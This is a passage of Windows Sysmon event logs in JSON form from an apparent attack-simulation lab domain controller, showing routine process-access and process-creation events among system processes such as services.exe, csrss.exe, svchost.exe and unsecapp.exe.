C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.370","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1280","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1152,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.371\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.371","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1153,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.372\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 916\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.372","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"916","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1154,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.373\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.373","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1155,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.382\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2596\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.382","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2596","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1156,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.384\r\nProcessGuid: {90617006-3FE4-5F2D-0000-001029250200}\r\nProcessId: 3124\r\nImage: C:\\Windows\\System32\\wbem\\unsecapp.exe\r\nFileVersion: 10.0.14393.2515 (rs1_release_1.180830-1044)\r\nDescription: Sink to receive asynchronous callbacks for WMI client application\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: unsecapp.dll\r\nCommandLine: C:\\Windows\\system32\\wbem\\unsecapp.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=2E49BB6C9F6599F518FE30BE2F000247,SHA256=20F499D581CF4AF331D8EC8B1E07A32CC1A695EF6790B51DA5EE223C5867154F,IMPHASH=A3CC49DF67C2278F822C9EBB9908BF09\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.384","ProcessGuid":"{90617006-3FE4-5F2D-0000-001029250200}","Image":"C:\\Windows\\System32\\wbem\\unsecapp.exe","FileVersion":"10.0.14393.2515 (rs1_release_1.180830-1044)","Description":"Sink to receive asynchronous callbacks for WMI client application","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"unsecapp.dll","CommandLine":"C:\\Windows\\system32\\wbem\\unsecapp.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=2E49BB6C9F6599F518FE30BE2F000247,SHA256=20F499D581CF4AF331D8EC8B1E07A32CC1A695EF6790B51DA5EE223C5867154F,IMPHASH=A3CC49DF67C2278F822C9EBB9908BF09","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1157,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.384\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001029250200}\r\nTargetProcessId: 3124\r\nTargetImage: C:\\Windows\\system32\\wbem\\unsecapp.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.384","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001029250200}","TargetProcessId":"3124","TargetImage":"C:\\Windows\\system32\\wbem\\unsecapp.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1158,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.384\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001029250200}\r\nTargetProcessId: 3124\r\nTargetImage: C:\\Windows\\system32\\wbem\\unsecapp.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.384","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001029250200}","TargetProcessId":"3124","TargetImage":"C:\\Windows\\system32\\wbem\\unsecapp.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1159,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1160,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.392\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001029250200}\r\nTargetProcessId: 3124\r\nTargetImage: C:\\Windows\\system32\\wbem\\unsecapp.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 